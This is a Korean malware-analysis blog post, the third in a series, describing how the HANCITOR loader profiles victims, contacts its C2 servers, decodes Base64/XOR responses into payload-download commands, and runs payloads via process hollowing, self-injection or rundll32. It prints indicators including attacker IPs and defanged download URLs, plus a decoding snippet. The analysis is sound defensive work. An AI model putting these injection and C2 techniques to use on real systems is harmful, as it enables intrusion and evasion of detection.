본문 바로가기

Reversing/Malware Analysis

[HANCITOR] 악성코드 분석(3) - C2 통신 페이로드 과정 분석

HANCITOR 악성 문서(1)에 대한 동작 과정은 https://reversingnewbie.tistory.com/35 에서 확인할 수 있습니다.

HANCITOR 메인 로더(2)에 대한 동작 과정은 https://reversingnewbie.tistory.com/37 에서 확인할 수 있습니다.

 

목차

  • 1. 개요
       1.1) Ioc
  • 2. 피해자 정보 추출
       2.1) OS 버전 정보 수집
       2.2) GUID 생성
       2.3) 피해자 IP & 계정 & 도메인 정보 수집
       2.5) 피해자 정보 문자열 구축
       2.6) 피해자 정보 전송
  • 3. 내부 페이로드 분석
       3.1) 응답 디코딩 과정
       3.2) 명령 제어
             3.2.1) 명령 'b'
             3.2.2) 명령 'e'
             3.2.3) 명령 'l'
             3.2.4) 명령 'n'
             3.2.5) 명령 'r'
  • 4. 결론

 

 

 

1. 개요

앞선 글에서는 HANCITOR의 유포 경로(악성 문서)와 메인 로더 구조를 다뤘다. 이번 글에서는 로더가 활성화된 이후의 실제 행위를 추적하고 C2 통신 방식과 추가 페이로드의 다운로드,실행 과정을 정리한다.

 

1.1)  IoC

File name gelfor_Extract.dll
MD5 b7679d55fc9b5f3447ff743eeaab7493
SHA-256 f5b25e93f249e0780cfeaeac315d95779b4b8d6d2f7d5a43e38386c4d5e3a31d
File type Win32 DLL
File size 59.12 KB (60535 bytes)
Creation Time 2021-01-18 10:59:13 UTC
URL hxxp://forkineler.com/8/forum.php
hxxp://fordecits.ru/8/forum.php
hxxp://yemodene.ru/8/forum.php
공격자 IP 194.147.115.132 (fxrkineler.com) <- C2 명령 전달
8.209.76.110 (4xaurpont.ru) <- 쉘 코드 다운로드

 

2. 피해자 정보 추출

C2 서버에 연결하기 전에 HANCITOR는 피해자 시스템에서 다양한 정보를 수집하고, 이들을 하나의 쿼리 문자열 형태로 조합한 뒤 암호화하여 전송한다. 이번 섹션에서는 그 문자열에 어떤 정보가 들어가는지 항목별로 살펴본다.

 

2.1) OS 버전 정보 수집

그림1) OS 버전 + 빌드정보

 

GetVersion()를 호출하여 윈도우 OS 버전 + 빌드 정보를 가져온다. Major/Minor 버전 추출을 위해 하위/상위 바이트를 나눈다.

 

2.2) GUID 생성

그림2) GUID 생성

 

GetAdaptersAddresses()를 호출하여 각 어댑터의 MAC 주소를 추출하고 이를 순차적으로 XOR 연산하여 하나의 값으로 결합한다. 이후 GetVolumeInformationA()를 호출하여 시스템의 볼륨 시리얼 넘버를 획득하고 앞서 계산한 MAC 기반 XOR 값과 볼륨 시리얼 번호를 다시 한 번 XOR 연산하여 최종 GUID를 생성한다.

 

2.3) 계정 & 도메인 정보 수집

그림3) 호스트네임 추출

 

GUID를 생성한 이후, GetComputerNameA()를 호출하여 컴퓨터의 호스트 이름(Hostname)을 가져오고, 문자열 끝에 "@" 구분자를 붙인다.

 

그림4) explorer.exe 조회

 

이어서 explorer.exe 프로세스의 ID(PID)를 조회하고 sub_10003000() 루틴을 호출한다.

 

그림5) 사용자 컨텍스트 추출

 

sub_10003000() 루틴에서는 OpenProcess(PROCESS_QUERY_INFORMATION)를 호출한다. 일반적으로 Explorer는 사용자 세션과 함께 실행되므로, 이 과정을 통해 로그인한 사용자의 컨텍스트를 추출하려는 목적임을 유추할 수 있다. 마지막으로 LookupAccountSidA()를 사용하여 현재 로그인한 사용자 계정 이름과 도메인 이름을 획득한다. 이 과정을 거치면 다음과 같은 형식의 문자열을 완성한다:

ComputerName @ Domain\User​

 

 

2.4) 피해자 IP & 계정 & 도메인 정보 수집

그림6) 피해자 IP 수집

 

피해자의 공인 IP 주소를 확인하기 위해 hxxp://api[.]ipify[.]org  HTTP GET 요청을 수행한다. 만약 악성코드가 해당 웹사이트에 접속할 수 없는 경우에는, 대체 값으로 0.0.0.0을 사용한다.

 

그림7) 도메인 수집

 

 

DsEnumerateDomainTrustsA()를 호출하여 지정된 도메인에 대한 신뢰 도메인 목록을 가져오고 모든 도메인의 NetBIOS 이름과 DNS 이름을 세미콜론으로 이어붙여서 lpString1에 반환한다.

 

그림8) 아키텍처 체크

 

GetProcAddress로 GetNativeSystemInfo 함수 주소를 가져와 _SYSTEM_INFO를 가져온다. 프로세서 아키텍처가 AMD64값이 9인지 확인한다. 현재 시스템이 64비트인지 확인하는 루틴으로 보인다.

 

sub_10003400() 루틴은 x64일 경우 true를 반환, x86일 경우 false를 반환한다.

 

 

2.5) 피해자 정보 문자열 구축

그림9) 내부 config RC4 암호 해독

 

최종 피해자 정보 문자열을 구축하기 전에, 내부에 저장된 구성을 RC4 알고리즘으로 암호 해독한다.

 

그림10) 디코딩된 config

 

디코딩된 구성 내용을 추출하면 (그림10)과 같다.

 

그림11) 최종 피해자 정보 문자열 구축

 

최종 피해자 정보 문자열을 생성할 때, 이전의 sub_10003400() 루틴의 결과 값인 시스템 아키텍처(x64 또는 x32)를 기반으로 다음 두 가지 형식 중 하나를 사용한다.

 

x64

GUID=<Victim_GUID>&BUILD=<Build_ID>&INFO=<Machine_Information>&EXT=<Network_Domain>&IP=<Victim_IP>&TYPE=1&WIN=<Windows_major version>.<Windows_minor version>(x64)

 

 

x86

GUID=<Victim_GUID>&BUILD=<Build_ID1>&INFO=<Machine_Information>&EXT=<Network_Domain>&IP=<Victim_IP>&TYPE=1&WIN=<Windows_major version>.<Windows_minor version>(x86)

 

  • GUID: 피해자 PC를 유일하게 식별하기 위한 고유 식별자
  • BUILD: 샘플 빌드 ID, 공격자가 배포된 샘플을 추적하는 용도
  • INFO: ComputerName@Domain\User 형태로, 피해자의 시스템 및 사용자 정보 포함
  • EXT: 네트워크 도메인 이름(NETBIOS/DNS) 목록
  • IP: 피해자의 공인 IP 주소
  • TYPE: 고정 값 1, 유형 구분 용도로 사용
  • WIN: Windows OS 버전과 아키텍처(x64 또는 x32)

 

2.6) 피해자 정보 전송

그림12) C2 URL 목록 확인후 전송

 

피해자 정보를 수집하고 최종 문자열을 구성한 후, HANCITOR는 구성(Config)에 포함된 C2 서버 URL 목록을 차례대로 확인 후 데이터를 C2 서버로 전송한다.

 

그림13) C2 Request

 

그림14) C2 Response

 

샘플 실행 과정에서 수집된 pcap 네트워크 트래픽을 확인한 결과, HANCITOR가 전송한 피해자 정보 전송에 대해 C2 서버가 아래와 같은 응답을 반환하는 것을 확인할 수 있었다

VZAEARZAEg4OCkBVVU4XGw8IChUUDlQID1VOSwlUGBMUBwEWQBIODgpAVVVOFxsPCAoVFA5UCA9VTktUGBMUBw==

 

 

응답은 Base64 인코딩된 문자열 형태이다.네트워크 패킷 캡처 시 평문으로 확인되며, 실제 악성코드는 이 값을 디코딩 후 내부 로직에 따라 해석한다.

 

그림15) 응답 결과 확인

 

응답 문자열은 반드시 앞 4바이트가 대문자 알파벳 대칭 구조여야 하며, 그렇지 않으면 악성코드는 해당 응답을 무효로 처리한다. 이후 응답의 패턴 관계를 확인한다.

 

조건1: 'Z' - Recv_Buffer[1] + 'A' == Recv_Buffer[2]
→ 두 번째 문자(Recv_Buffer[1])를 기준으로 대칭되는 알파벳이 세 번째 문자와 일치해야 한다.
조건2: 'Z' - *Recv_Buffer + 'A' == Recv_Buffer[3]
→ 첫 번째 문자(Recv_Buffer[0])의 대칭 알파벳이 네 번째 문자와 일치해야 한다.

여기서 대칭이란 A↔Z, B↔Y, C↔X 같은 형태를 의미한다.
예를 들어 Recv_Buffer[0] = 'A'라면 Recv_Buffer[3]는 'Z'여야 하고 Recv_Buffer[1] = 'B'라면 Recv_Buffer[2]는 'Y'여야 한다.

 

 

3. 내부 페이로드 분석

3.1) 응답 디코딩 과정

그림16) 응답 base64 디코딩 후 xor

 

C2  응답이 유효하다고 판단하면, 이후 Base64 디코딩 및 XOR(z) 연산 과정을 진행한다. 해당 응답을 Base64로 디코딩한 뒤, 결과 바이트를 문자 'z'(0x7A)와 XOR하여 최종 페이로드 명령을 추출한다. 이 과정을 Python 코드로 작성하면 다음과 같다.

 

import base64
from itertools import cycle

b64_input = "VZAEARZAEg4OCkBVVU4XGw8IChUUDlQID1VOSwlUGBMUBwEWQBIODgpAVVVOFxsPCAoVFA5UCA9VTktUGBMUBw=="

result = "".join(chr(b ^ k) for b, k in zip(base64.b64decode(b64_input), cycle(b"z")))
print(result)

 

 

{l:hxxp://4maurpont.ru/41s.bin}{l:hxxp://4maurpont.ru/41.bin}

 

디코딩된 C2 응답은 다음과 같이 명령과 값으로 이루어진 쌍 형태를 가진다.

 

l|hxxp://...bin에서 l은 명령 제어를 hxxp://...bin은 지정된 URL에서 추가 페이로드를 다운로드하여 로드하라는 의미를 가진다.

 

 

3.2) 명령 제어

그림17) C2 명령 목록 확인

 

각 응답 구성 요소를 처리하기 전에 HANCITOR는 명령이 사전에 정의된 명령 목록에 포함되어 있는지를 확인한다.
허용되는 명령 목록은 다음과 같다.

‘n’, ‘c’, ‘d’, ‘r’, ‘l’, ‘e’, ‘b’

 

그림18) C2 명령 처리

 

n을 제외한 모든 명령은 결과적으로 추가 악성코드 실행으로 이어진다.

 

그림19) 추가 페이로드 다운로드

 

명령을 응답받고 처리할 때 디코딩된 C2 응답의 구성 요소(URL)을 순차적으로 처리 후 추가 페이로드를 다운로드 받는다.

 

그림20) 페이로드 복호화

 

C2에서 다운로드된 페이로드는 처음 8바이트를 키(key)로 사용한 XOR 암호화가 적용되어 있다.

해당 8바이트를 키로 사용하여 파일 내용을 순차적으로 XOR 처리함으로써 암호화된 페이로드를 복호화한다.

XOR 복호화가 완료되면 RtlDecompressBuffer()를 호출하여 파일의 압축을 해제한다.

압축 해제를 통해 메모리 상에서 PE 구조가 확보되고 이후 프로세스 주입 및 실행 단계로 이어진다.

 

 

3.2.1) 명령 'b'

그림21) Process Hollowing 동작

 

명령 'b'는  XOR 복호화 및 압축 해제된 페이로드를 메모리에 준비한 뒤, 이를 정상 시스템 프로세스에 주입(injection) 하여 실행하는 Process Hollowing 기술을 사용한다.

 

그림22) svchost.exe 생성

 

주입 대상으로 svchost.exe 프로세스를 선택 후, CreateProcessA()를 호출하여 svchost.exe를 일시 중지된 상태(SUSPENDED)로 생성한다.

 

그림23) svchost.exe 페이로드 주입

 

앞서 svchost.exe를 일시 중지된 상태로 생성한 후, 최종 페이로드를 주입하기 위한 메모리 할당 및 쓰기 작업을 수행한다.

 

그림24) svchost.exe 실행

 

페이로드가 svchost.exe 내부 메모리에 완전히 주입되면 주입한 스레드가 올바른 위치에서 실행되도록 컨텍스트를 수정한다. 스레드 컨텍스트(Thread Context)를 가져와 PEB(Process Environment Block) 정보를 수정한다.이때 EBX 레지스터에 주입된 PE 파일의 이미지 베이스 주소(Image Base Address)를 설정한다.이를 통해 새로 주입된 코드가 마치 정상 프로세스의 코드처럼 실행될 수 있도록 한다.

 

 

 

3.2.2) 명령 'e'

그림25) 자체 프로세스 페이로드 주입

 

C2 응답에서 명령 코드가 'e'인 경우, 해당 명령에 지정된 URL로부터 추가 페이로드를 다운로드하고, 이를 자체 프로세스 내부에 주입하여 실행한다.다른 명령(l, b)은 보통 svchost.exe와 같은 외부 프로세스를 생성하고 거기에 페이로드를 주입하는 반면에 'e' 명령은 자신의 프로세스 공간에 페이로드를 로드하고 실행한다.

 

 

3.2.3) 명령 'l'

그림26) svchost.exe 생성

 

'b'와 동일한 로직으로 일시 중지된 상태(SUSPENDED)로 svchost.exe를 생성한다.

 

그림27) 원격 주입 , 자체주입 분기

 

'l' 명령은 하나의 로더로 원격 주입자체 주입을 지원한다. 자가 주입 시 셸코드를 실행하는 두 가지 방법이 존재하는데 시작 주소로 제어 흐름을 옮기는 단순한 함수 호출로 실행하거나 CreateThread()를 호출하여 새로운 스레드에서 실행하는 방법이 있다. 원격 주입 시는 svchost.exe 생성 (SUSPENDED)후 VitrualAllocEx() -> WirteProcessMemory()->CreateRemoteThread() 순으로 외부 프로세스에 쉘코드를 복사하여 원격 스레드 실행을 한다.

 

3.2.4) 명령 'n'

그림28) n 명령 동작

 

'n' 명령은 아무 동작도 수행하지 않는다.

 

3.2.5) 명령 'r'

그림29) Temp 경로에 페이로드 파일 Drop

 

GetTempPathA()를 호출하여 현재 사용자 세션의 Temp 디렉토리 경로를 추출한다. 예) C:\Users\<User>\AppData\Local\Temp\ ,이후 GetTempFileNameA()를 호출하여 해당 경로에 "BN" 접두사를 붙여 고유한 임시 파일 이름을 생성한다. 이후 해당 파일에 다운로드한 페이로드 데이터를 복사한다.

 

그림30) Characteristics 플래그 파싱

typedef struct _IMAGE_FILE_HEADER {
    WORD  Machine;
    WORD  NumberOfSections;
    DWORD TimeDateStamp;
    DWORD PointerToSymbolTable;
    DWORD NumberOfSymbols;
    WORD  SizeOfOptionalHeader;
    WORD  Characteristics;      // <---- 
} IMAGE_FILE_HEADER;

 

 

is_executable() 루틴에서는 파일의 PE 헤더를 파싱하여 Characteristics 플래그를 확인하고 IMAGE_FILE_EXECUTABLE_IMAGE 플래그가 설정되어 있는지 여부로 EXE/DLL 구분한다.

 

그림31) 명령 'r' 최종 페이로드 실행

 

EXE 파일인 경우 임시 파일의 경로를 명령줄 인자(Command Line)로 넘겨 CreateProcess()를 호출하여 새로운 프로세스를 생성한다. DLL 파일인 경우 CreateProcessA를 다시 호출하지만 실행 파일로 rundll32.exe를 지정 명령줄 인자로 다음과 같이 전달하여 악성 DLL의 Export 함수를 실행한다.

rundll32.exe <임시 파일 경로>,<내보내기 함수 이름>

 

 

4. 결론

HANCITOR는 악성문서(매크로)에 의해 시작되는 (downloader → loader → payload) 공격 체인을 사용한다. 메인 로더는 패커로 보호되어 정적 분석을 어렵게 만들고 런타임에 메모리 언패킹을 통해 실제 페이로드를 복원한다. 또한 C2 응답에 대해 서명 검증을 수행한 뒤(Base64 → XOR 등) 디코딩하여 명령을 파싱하고 필요에 따라 동적으로 추가 모듈을 다운로드,복호화,압축해제를 한 뒤 메모리 주입 또는 자체 실행으로 이어지게 함으로써 분석을 어렵게하고 AV 탐지를 회피한다.